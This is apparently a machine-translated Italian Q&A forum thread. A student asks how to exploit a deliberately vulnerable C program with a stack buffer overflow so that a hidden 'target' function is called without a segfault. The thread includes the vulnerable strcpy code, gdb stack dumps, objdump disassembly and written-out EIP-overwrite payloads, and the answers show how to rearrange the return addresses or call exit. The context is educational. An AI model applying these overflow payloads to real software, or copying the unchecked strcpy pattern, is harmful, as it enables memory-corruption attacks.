Sfruttare un buffer overflow senza SIGSEGV

3

Per i miei studi cerco di creare un payload in modo tale che trabocchi il buffer e invochi una funzione "segreta" chiamata "target"

Questo è il codice che uso per testare su un i686

#include "stdio.h"
#include "string.h"
void target() {
  printf("target\n");
}
void vulnerable(char* input) {
  char buffer[16];
  strcpy(buffer, input);
}
int main(int argc, char** argv) {
  if(argc == 2)
    vulnerable(argv[1]);
  else
    printf("Need an argument!");

  return 0;
}

Attività 1 : crea un payload in modo che venga chiamato target (). Questo è stato piuttosto facile sostituendo l'EIP con l'indirizzo della funzione target.

Ecco come appare il buffer

Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca

Il payload che ho usato era:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'

Funziona bene ma si ferma con un errore di segmentazione.

Attività 2: modifica il carico utile in modo che non dia un errore di segmentazione

Questo è il punto in cui sono bloccato. Ovviamente causa un errore di segmentazione perché non chiamiamo target con l'istruzione call e quindi non esiste un indirizzo di ritorno valido.

Ho provato ad aggiungere l'indirizzo di ritorno nello stack ma questo non ha aiutato

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'

Forse qualcuno può darmi una mano con questo. Probabilmente devo anche aggiungere l'EBP salvato di main?

Allego il comando objdump del programma

0804847d <target>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 70 85 04 08    movl   $0x8048570,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <puts@plt>
 804848f:   c9                      leave  
 8048490:   c3                      ret    

08048491 <vulnerable>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 28                sub    $0x28,%esp
 8048497:   8b 45 08                mov    0x8(%ebp),%eax
 804849a:   89 44 24 04             mov    %eax,0x4(%esp)
 804849e:   8d 45 e8                lea    -0x18(%ebp),%eax
 80484a1:   89 04 24                mov    %eax,(%esp)
 80484a4:   e8 97 fe ff ff          call   8048340 <strcpy@plt>
 80484a9:   c9                      leave  
 80484aa:   c3                      ret    

080484ab <main>:
 80484ab:   55                      push   %ebp
 80484ac:   89 e5                   mov    %esp,%ebp
 80484ae:   83 e4 f0                and    $0xfffffff0,%esp
 80484b1:   83 ec 10                sub    $0x10,%esp
 80484b4:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)
 80484b8:   75 12                   jne    80484cc <main+0x21>
 80484ba:   8b 45 0c                mov    0xc(%ebp),%eax
 80484bd:   83 c0 04                add    $0x4,%eax
 80484c0:   8b 00                   mov    (%eax),%eax
 80484c2:   89 04 24                mov    %eax,(%esp)
 80484c5:   e8 c7 ff ff ff          call   8048491 <vulnerable>
 80484ca:   eb 0c                   jmp    80484d8 <main+0x2d>
 80484cc:   c7 04 24 77 85 04 08    movl   $0x8048577,(%esp)
 80484d3:   e8 58 fe ff ff          call   8048330 <printf@plt>
 80484d8:   b8 00 00 00 00          mov    $0x0,%eax
 80484dd:   c9                      leave  
 80484de:   c3                      ret    
 80484df:   90                      nop
    
posta Chris 01.04.2016 - 15:09
fonte

2 risposte

3

Il ritorno alla normale esecuzione da shellcode è difficile.

Hai esattamente ragione. Probabilmente la tua funzione non ha un indirizzo di ritorno valido. Non sono completamente sicuro che questo sia il tuo problema, ma il tuo tentativo di mettere l'indirizzo di ritorno nello stack non è corretto. Vorrai che il tuo indirizzo di ritorno della funzione Target sia sopra di te nello stack, non al di sotto di esso. Dato che ora lo stack è simile a questo:

High Memory
7d840408
ca840408
41414141
41414141
41414141
41414141
41414141
41414141
Low Memory

Potresti provare qualcosa di simile a questo:

High Memory
ca840408
7d840408
41414141
41414141
41414141
41414141
41414141
41414141
41414141
Low Memory

Tieni presente che ho aggiunto un altro 4% diA per sostituire 0x080484CA e spostato tale indirizzo sopra l'indirizzo della funzione Target . Ora, quando lo stack si svolge, avrà una funzione valida su cui saltare. Supponendo che la scrittura extra a 4 byte non abbia distrutto qualcosa di utile da Main . Ma credo che dovrai semplicemente sovrascrivere il parametro spinto in pila in questo caso.

Questo non risolve completamente il tuo problema. Il tuo overflow ha ora spazzato via qualsiasi puntatore di frame stack presente, stack canary e qualsiasi variabile locale che era stata configurata. L'esecuzione potrebbe tornare alla funzione originale, ma senza lo stato corretto la funzione potrebbe ancora segfault. Dal momento che la tua funzione principale è abbastanza semplice potresti essere in chiaro. Questi sono aspetti che dovrebbero essere considerati però.

Questo è il motivo per cui scrivere codice shell può essere complicato e viene spesso scritto in assembly. Quando hai il controllo completo sui registri e lo stack puoi manipolarlo in modo che almeno il programma non si blocchi. Ma ci vorrà un bel po 'di lavoro e un po' di intelligenza.

    
risposta data 01.04.2016 - 15:38
fonte
0

Chiama l'uscita alla fine del tuo codice shell. Il processo terminerà, ma non sigsegv. La continuazione del processo è un insieme di problemi molto diverso.

    
risposta data 02.04.2016 - 02:13
fonte

Leggi altre domande sui tag